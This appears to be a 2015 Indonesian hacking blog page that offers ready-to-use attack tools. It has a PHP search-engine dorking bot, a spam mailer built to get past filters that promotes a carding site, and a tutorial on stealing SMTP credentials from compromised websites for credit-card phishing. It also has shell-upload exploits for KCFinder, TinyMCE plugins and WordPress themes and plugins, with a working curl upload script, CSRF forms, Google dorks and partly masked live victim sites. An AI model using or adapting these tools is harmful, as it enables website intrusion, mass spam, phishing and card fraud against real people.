Android APK Download Center

Rabu, 04 November 2015

HotBot Auto Dorking

# Title : HotBot Auto Dorking
# Coded by : Mr. Magnom
# Blog : magsec.blogspot. com
# Type : Tools, PHP
====================================

" Easy Dorking, Easy Grabbing "

Code :

<?php
 
// HotBot project for Dorking :D
// Coded in Morocco 27/11/2014 at 19:18 in my room xD
// Greetz to all codersleet members and  my friends
// dont change the rights ;)
// http://pastebin.com/u/magnom
//http://magsec.blogspot.com/2015/06/hotbot-auto-dorker.html
 
print "
+-----------------------------+
|      HotBot Dorking         |
|     coded by Mr.MaGnoM      |
|      CodersLeet Team        |
+-----------------------------+
";
echo "\n";
 
$ch1 =curl_init("http://www.hotbot.com/");
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
$keyvoll = curl_exec($ch1);
curl_close($ch1);
$ma=preg_match("/\.val\('(.*?)'\);/",$keyvoll,$ke);
 
//echo $ke[1]."\n";
//$dork=urlencode($argv[1]);
 
// http://www.hotbot.com/search/web?pn=$i&q=$dork&keyvol=$ke[1]
 
 
$ch=curl_init();
for($i=1;$i<=30;$i++){
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,"http://www.hotbot.com/search/web?pn=$i&q=*ur dork here*&keyvol=$ke[1]"); // here ur dork  encoded use this site for encode ur dork http://urldecode.org/
curl_setopt($ch,CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch,CURLOPT_USERAGENT,'msnbot/1.0 (+http://search.msn.com/msnbot.htm)');
curl_setopt($ch,CURLOPT_ENCODING,"gzip, deflate, compress");
$data=curl_exec($ch);
preg_match_all('#<span class="web-baseuri">(.*?)</span>#',$data,$matches);
$links=array_unique($matches[1]);
//print_r($matches[1]);
$op=@fopen('result.html','a+');
foreach ($links as $ul){
  echo "http://".$ul."/"."\n";
  fwrite($op,"http://$ul/<br>");
}
fclose($op);
 
//if(!preg_match('#NO RESULTS FOUND#i',$data)) break;
}
?>

Script Download Here .

---

[#] Material : Xampp, Internet Connection ( of course :v )

[#] Tutorial How To Use .

1. Copy Paste Code^ in folder "Xampp/php/" Save as bot.php

2. You must Encode dork to URL format .

Example :
index.php?optin=com < Before Encode
index.php%3Foptin%3Dcom < After Encode

To Encode Dork, u can use this tool Here

3. Copy Paste your Encode Dork, like this picture and save .

4. Turn on your xampp and command in cmd " php bot.php "

^ Succes ^_^ .

5. For Result you can check in /Xampp/php/result.html

Video Tutorial : Here

Selasa, 03 November 2015

Slackercode Priv8 Mailer v.1.2

Code:

<?php
// Slackercode Priv8 Mailer v.1.2
// randomized sender email with input (random) ex. (random)@yourdomain.com
// randomized subject with input word (randomcase) will be replaced to (Case ID # PP-003-XXX-XXX-XXX)
// http://slackerc0de.us
set_time_limit(intval($_POST['timelimit']));
if (!function_exists('quoted_printable_encode')) {
    function quoted_printable_encode($input, $line_max = 75)
    {
        $hex            = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
        $lines          = preg_split("/(?:\r\n|\r|\n)/", $input);
        $linebreak      = "=0D=0A=\r\n";
        $line_max       = $line_max - strlen($linebreak);
        $escape         = "=";
        $output         = "";
        $cur_conv_line  = "";
        $length         = 0;
        $whitespace_pos = 0;
        $addtl_chars    = 0;
        for ($j = 0; $j < count($lines); $j++) {
            $line   = $lines[$j];
            $linlen = strlen($line);
            for ($i = 0; $i < $linlen; $i++) {
                $c   = substr($line, $i, 1);
                $dec = ord($c);
                $length++;
                if ($dec == 32) {
                    if (($i == ($linlen - 1))) {
                        $c = "=20";
                        $length += 2;
                    }
                    $addtl_chars    = 0;
                    $whitespace_pos = $i;
                } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) {
                    $h2 = floor($dec / 16);
                    $h1 = floor($dec % 16);
                    $c  = $escape . $hex["$h2"] . $hex["$h1"];
                    $length += 2;
                    $addtl_chars += 2;
                }
                if ($length >= $line_max) {
                    $cur_conv_line .= $c;
                    $whitesp_diff = $i - $whitespace_pos + $addtl_chars;
                    if (($i + $addtl_chars) > $whitesp_diff) {
                        $output .= substr($cur_conv_line, 0, (strlen($cur_conv_line) - $whitesp_diff)) . $linebreak;
                        $i = $i - $whitesp_diff + $addtl_chars;
                    } else {
                        $output .= $cur_conv_line . $linebreak;
                    }
                    $cur_conv_line  = "";
                    $length         = 0;
                    $whitespace_pos = 0;
                } else {
                    $cur_conv_line .= $c;
                }
            }
            $length         = 0;
            $whitespace_pos = 0;
            $output .= $cur_conv_line;
            $cur_conv_line = "";
            if ($j <= count($lines) - 1) {
                $output .= $linebreak;
            }
        }
        return trim($output);
    }
}
$action=$_POST['action'];
$from=$_POST['from'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$replyto=$_POST['replyto'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$file_name=$_FILES['file']['name'];
$contenttype=$_POST['contenttype'];
$file=$_FILES['file']['tmp_name'];
$amount=$_POST['amount'];
$encode_text=$_POST['encode'];
    $message = urlencode($message);
    $message = ereg_replace("%5C%22", "%22", $message);
    $message = urldecode($message);
    $message = stripslashes($message);
        $subject = stripslashes($subject);
        if ($encode_text == "yes") {
                $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
                $subject = str_replace(' ', '_', $subject);
                $subject = "=?UTF-8?Q?$subject?=";
                $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
                $realname = str_replace(' ', '_', $realname);
                $realname = "=?UTF-8?Q?$realname?=";
    }
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Slackercode PHP-Mailer v.1.2</title>
<link rel="SHORTCUT ICON" href="http://s25.postimg.org/4bzq9e2jv/slackercodeico.png"/>
<meta name="robots" content="noindex,nofollow" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="http://slackerc0de.us/css/ppchk.css">
<script type="text/javascript"> var SPklikkanan = 'TILANG';</script> <script type="text/javascript" src="http://slackerc0de.us/js/block.js"></script>
</head>
<header>
        <img src="http://s25.postimg.org/gdpjtjzzj/logo_sc_tool.png"/>
        <h3><font color="#01DF01">Priv8 PHP Email Sender v.1.2</font></h3>
        <p><font color="#74DF00">Sending randomized sender & Subject for bypass <font color="#0174DF"><blink><b>Spamming</b></blink></font> emails accounts</font></p>
        <p>contact mail : <font color="red">alecs<font color="#04B404">[at]</font>indonesian<font color="#F8E6E0">coder</font><font color="#04B404">[dot]</font>com</font></p><hr /><hr /><br>
</header>
<body>
<div id="fb-root"></div>
<script type="text/javascript" src="http://slackerc0de.us/js/fbconnect.js"></script>
<br >
<p><b>Random Email Sender</b> will be working if input ( <span style="color:#FF0000;">random </span>)&nbsp;as Your Email sender. ex : <span style="color:#FF0000;">random</span>@yourdomain.com</p>
<p><b>Random Subject</b> will be working and auto replaced word ( <span style="color:#FF0000;">randomcase </span>)&nbsp;to <span style="color:#FF0000;">(Case ID # PP-003-XXX-XXX-XXX)</span> per sent. ex : Your title Here <span style="color:#FF0000;">randomcase</span></p>
<p>Visit <a href="http://cardingschool.or.id" rel="dofollow" ><span style="color:#FF0000;">cardingschool.or.id</span></a> for latest Tutorial, Spamz, Credit-Card, Cashout, etc.<br />
<br >
Visit <a href="http://slackerc0de.us" rel="dofollow"><span style="color:#FF0000;">Slackercode Family </span></a>for more priv8 tools.</p>
<br >
<form name="form1" method="post" action="" enctype="multipart/form-data">
<table width="842" border="0">
    <tr>
      <td width="95">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>
        </div>
      </td>
      <td width="220">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="text" name="from" placeholder="input your email sender" value="<?php print $from; ?>" size="30" />
        </font>
      </td>
      <td width="238">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>
        </div>
      </td>
      <td width="271">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="text" name="realname" placeholder="input your name sender" value="<?php $realname; ?>" size="30" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="95">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
        </div>
      </td>
      <td width="220">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
        </font>
      </td>
      <td width="238">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
        </div>
      </td>
      <td width="271">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="file" name="file" size="24" />
        </font>
      </td>
    </tr>
    <tr>
      <td width="95">
        <div align="right">
          <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
        </div>
      </td>
      <td colspan="3">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <input type="text" name="subject" value="<?php $subject; ?>" size="90" />
        </font>
      </td>
    </tr>
              <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
        &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
        <option <?php if($encode_text == "yes"){print "selected";} ?>>yes</option>
        <option <?php if($encode_text == "no"){print "selected";} ?>>no</option>
        </select></font></td>
    <tr valign="top">
      <td colspan="3">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
      </td>
      <td width="271">
        <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email List :</font>
      </td>
    </tr>
    <tr valign="top">
      <td colspan="3">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br /> <br />
          <input type="radio" name="contenttype" value="plain"  /> Plain
          <input type="radio" name="contenttype" value="html"checked="checked" /> HTML
          <input type="hidden" name="action" value="send" /><br />
                        Number to send: <input type="text" name="amount" value="1" size="10" /><br />
                        Maximum script execution time (in seconds, 0 for no timelimit) <input type="text" name="timelimit" value="0" size="10" /><br /> <br />
          <input type="submit" value="Send Email" />
        </font>
    <p><div class="fb-like" data-href="https://www.facebook.com/slackerc0de.us" data-layout="button_count" data-action="like" data-show-faces="true" data-share="true"></div></p>
      </td>
      <td width="271">
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
          <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
        </font>
      </td>
    </tr>
  </table>
</form><hr/>
<center>
<table style="width: 1024px;">
  <tr>
      <td style="width: 1024px;">
       <div style="overflow:auto; width:1024px; height: 470px; font-size: 11px; color:lime" >
<?php
if ($action == "send") {
    if (!$from && !$subject && !$message && !$emaillist) {
                echo  "<script>alert('Please complete all the fields.');  </script>";
        exit;
    }
    $allemails = split("\n", $emaillist);
    $numemails = count($allemails);
    if ($file_name) {
        if (!file_exists($file)) {
            die("The file you are trying to upload could not be uploaded to the server");
        }
        $content = fread(fopen($file, "r"), filesize($file));
        $content = chunk_split(base64_encode($content));
        $uid     = strtoupper(md5(uniqid(time())));
        $name    = basename($file);
    }
    for ($xx = 0; $xx < $amount; $xx++) {
        for ($x = 0; $x < $numemails; $x++) {
            $to = $allemails[$x];
            if ($to) {
                $to     = ereg_replace(" ", "", $to);
                $nrmail = $x + 1;
                $domain = substr($from, strpos($from, "@"), strlen($from));
                print "Sending $nrmail Email of $numemails to <font color=\"magenta\">$to</font> ==>";
                flush();
                                $ranCaseID = ' (Case ID # PP-003-'.rand(111,999).'-'.rand(111,999).'-'.rand(111,999).')';
                                $subject = str_replace('randomcase', $ranCaseID, $subject);
                $randfrom = rand();
                $fromrand = str_replace('random', $randfrom, $from);
                $header   = "From: $realname <$fromrand>\r\nReply-To: $replyto\r\n";
                $header .= "Message-ID: <31337$numemails.$nrmail$domain>\r\n";
                $header .= "MIME-Version: 1.0\r\n";
                if ($file_name)
                    $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
                if ($file_name)
                    $header .= "--$uid\r\n";
                $header .= "Content-Type: text/$contenttype; charset=UTF-8\r\n";
                $header .= "Content-Transfer-Encoding: quoted-printable\r\n\r\n";
                $header .= quoted_printable_encode($message)."\r\n";
                if ($file_name)
                    $header .= "--$uid\r\n";
                if ($file_name)
                    $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
                if ($file_name)
                    $header .= "Content-Transfer-Encoding: base64\r\n";
                if ($file_name)
                    $header .= "$content\r\n";
                if ($file_name)
                    $header .= "--$uid--";
                mail($to, $subject, "", $header);
                print "<font color=\"yellow\"> <i>Success!</i></font><br>";
                flush();
            }
        }
    }
}
?>
        </div>
      </td>
   </tr>
</center>
<p class="style2">&nbsp;</p>
<p class="style1">&nbsp;</p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){
        echo  "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');  </script>";
        }
?>
</body>
</html>

Senin, 02 November 2015

Trik Cepat Mendapat Result CC 300 Perhari

Assalamualaikum Wr. Wb.

*Warning

Jika kalian sudah master atau males baca. mendingan close page ini aja. buat yang mau sukses trik ini baca secara detail dan cermat. Kesuksesan butuh perjuangan Boss !

---------------------------------------------------------------------------------------------------------------

Kali ini saya akan berbagi trik mendapat result cc 300 perhari. Trik ini discovered oleh Wyatt Gillete ( alecs ) biasanya yang paling inti dalam permainan spam itu adalah SMTP bisa dibilang senjata utama, karena tanpa ini kita tidak bisa mendistribusi *Aseek letter kita.

nah sekarang aku ingin memberi method yang simple tapi agak anu yaitu cari smtp yang bagus (cara lain dari exploit zimbra). Untuk itu kalian menggunakan method web defacing apapun methodnya, yang terpenting kalian bisa menanam biji shell dan menghasilkan sebuah webshell :v,

Nah disini, tergantung ke hokian kalian juga. kalo kalian hoki webshell mu akan ada domain symlinknya. kemudian kalian bermain dengan si symlink atau bypass symlink untuk mencari file config / konfigurasi web (misal cms joomla). Di configuration.php joomla terdapat konfig SMTP server di dalamnya ( biasanya ada dan ada juga yang tidak ada ). biasanya yang bagus itu web corporate atau yang ber Secure Socket Layer / SSL (minimal).

Selain dari hoki hokian tadi selain symlink kalian juga bisa menggunakan salah satu 3xploit Joomla misalnya Component User / Com_user dan lain lain. Jika kalian berhasil menganu kalian bisa lihat di configuration.php dan lihat User password Smtpnya Seperti berikut :

untuk mempermudah langkah kalian di permainan Symlink Sebelumnya , aku kasih alat bantu yaitu php config grab. gunanya untuk grab seluruh file konfigurasi dari masing2 konten web di dalam satu server. cara tinggal upload aja file nya kemudian akses seperti biasa kemudian tunggu sampai proses selesai.

Silahkan Download Scriptnya Dimari

Sabtu, 31 Oktober 2015

KCFinder Upload Shell Vulnerability

#- Exploit Title : KCFinder Upload Shell Vulnerability

#- Exploit Author : Iranian_Dark_Coders_Team
#- Google Dork : inurl:/kcfinder/browse.php
#- Date : 24/04/2014
#- Home : www.idc-team. net
#- Discovered By : Black.Hack3r
#- Vendor Homepage : kcfinder.sunhater. com
#- Version : 2.51 - 2.53
#- Tested on : Windows 8 & Linux

=================================================

[+] Events location bug:

[+] http://127.0.0.1/path/kcfinder/config.php

Line 51: 'deniedExts' => "exe com msi bat php phps phtml php3 php4 cgi pl",

[+] Exploit:

[+] http://127.0.0.1/kcfinder/browse.php
[+] http://127.0.0.1/[path]/kcfinder/browse.php

[+] Proof Of Cencept

Trick 1 ~~

1 > Go to target link
http://localhost/KCFinder/browse.php

2 > Then select your folder from the left panel

3 > Upload your shell as [ shell.php2 & shell.php5 & shell.php.black & shell.shtml & defacepage.html ]

4 > Shell Acces ?
{here}

Trick 2 ~~

Where is vulnerability ? "localhost/path/kcfinder/upload.php"

How to ?? You can use CSRF :)

<form method="POST" action="http://web. com/path/kcfinder/upload.php"

enctype="multipart/form-data">

<input type="file" name="Filedata" /><button>~/ ndsxf</button>

</form>

Shell Acces ? {here}

[+] Demo site:

[+] http://www.basukiwat**.com/assets/js/mylibs/kcfinder/browse.php
[+] http://www.padel4**.be/kcfinder/browse.php
[+] http://goyathlaysvintagepavonirestoratio**.com/kcfinder/browse.php

[+] Discovered By : Black.Hack3r
[+] We Are : M.R.S.CO,Black.Hack3r,N3O,D$@d_M@n,KurD_HaCK3R,HOt0N
[+] SpTnx : Sec4ever,HashoR,@3is,Security,M4H4N,Mr.Cicili And All IDC Member
[+] Home : www.idc-team. net

Exploit JustBoil TinyMCE Images Upload Unrestricted #issue

#-Title: Exploit JustBoil TinyMCE Images Upload Unrestricted #issue

#-Author: Goginho

#-Date: 10/31/2015

#- Vendor : justboil

#- Link Download : github. com/vikdiesel/justboil. me

#- Tested on : Trusty Tahr / ubuntu

#- Fixed in ??

==========================================================================

Proof Of Concept :

[#] Google Dork:

intext:"{#jbimages_dlg.select_an_image}"

inurl:"/plugins/jbimages/"

[#] Vulnerability / Exploit : "/public/js/tiny_mce/plugins/jbimages/dialog.htm"

[#] When Vulnerable :

This is just issue, problably u can exploited this plugin.

Shell Acces ? hmm ..

Selasa, 27 Oktober 2015

Wordpress Headway Themes Shell Upload Vulnerability

#-Title: Wordpress Headway Themes Shell Upload Vulnerability

#-Author: Anonymously

#-Date: 10/27/2015

#- Vendor : headwaythemes. com

#- Developer : Clay Griffith

#- Link Download : headwaythemes. com/pricing/

#-Google Dork: inurl:wp-content/themes/headway-(random)

#- Tested on : Trusty Tahr

#- Fixed in ??

==========================================================================

· Vulnerability : /wp-content/themes/headway-(random)/library/visual-editor/lib/upload-header.php

· When Vulnerable : /home/localhost/public_html/

Proof Of Concept :

Tools Coded by Mr.MaGnoM

<?php

link of tool with vedio : http://magsec.blogspot.com/2015/10/wordpress-headway-upload-shell-exploit.html

coded by mr magnom

more tools visit my blog ==> magsec.blogspot.com :)

so why i didnt make auto exploiter because theme headway dont have one name

for example u will filn /headway-2014/ and /headway-2015/ or /headway-163/ , /headway-120/

so is soo defficult to make auto exploiter so u must cheek firstly complet name of theme than

write it on site.com/wp-content/themes/headway(complet name)/library/visual-editor/lib/upload-header.php

shell go to : site/wp-content/uploads/headway/header-uploads/shell is stabl for all site

that script on php for exploit site by site :/

to understand good watch video : http://magsec.blogspot.com/2015/10/wordpress-headway-upload-shell-exploit.html

$url="3xploi7.id"; // link here

$file="lolz.php "; // ur shell here

$post = array('Filedata'=>"@$file") ;

$ch = curl_init();

curl_setopt ($ch, CURLOPT_URL, "$url");

curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,$post);

curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);

curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);

$data = curl_exec($ch);

curl_close($ch);

//print $data;

if($data=="1"){

echo "\nexploited\nshell : site/wp-content/uploads/headway/header-uploads/$file \n";

}else{

echo "\nnot infected\n";

}

Shell Acces ? Here

Senin, 26 Oktober 2015

Wordpress Plugins Wp-formgenerator File Upload Vulnerabilities

#-Title: Wordpress Plugins Wp-formgenerator File Upload Vulnerabilities

#-Author: unknown

#-Date: 10/26/2015

#- Vendor : CodeCanyon

#- Link Download : codecanyon. net/item/form-generator-wordpress-form-builder/4613911

#-Google Dork: inurl:wp-content/plugins/wp-formgenerator

#- Tested on : Trusty Tahr

#- Fixed in ??

==========================================================================

Vulnerability : "/wp-content/plugins/wp-formgenerator/uploads/php"

When Vulnerable : {"files":[]}

Proof Of Concept :

Use CSRF :

<form method="POST" action="Zembut/wp-content/plugins/wp-formgenerator/uploads/php/"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>

Shell Acces ? Here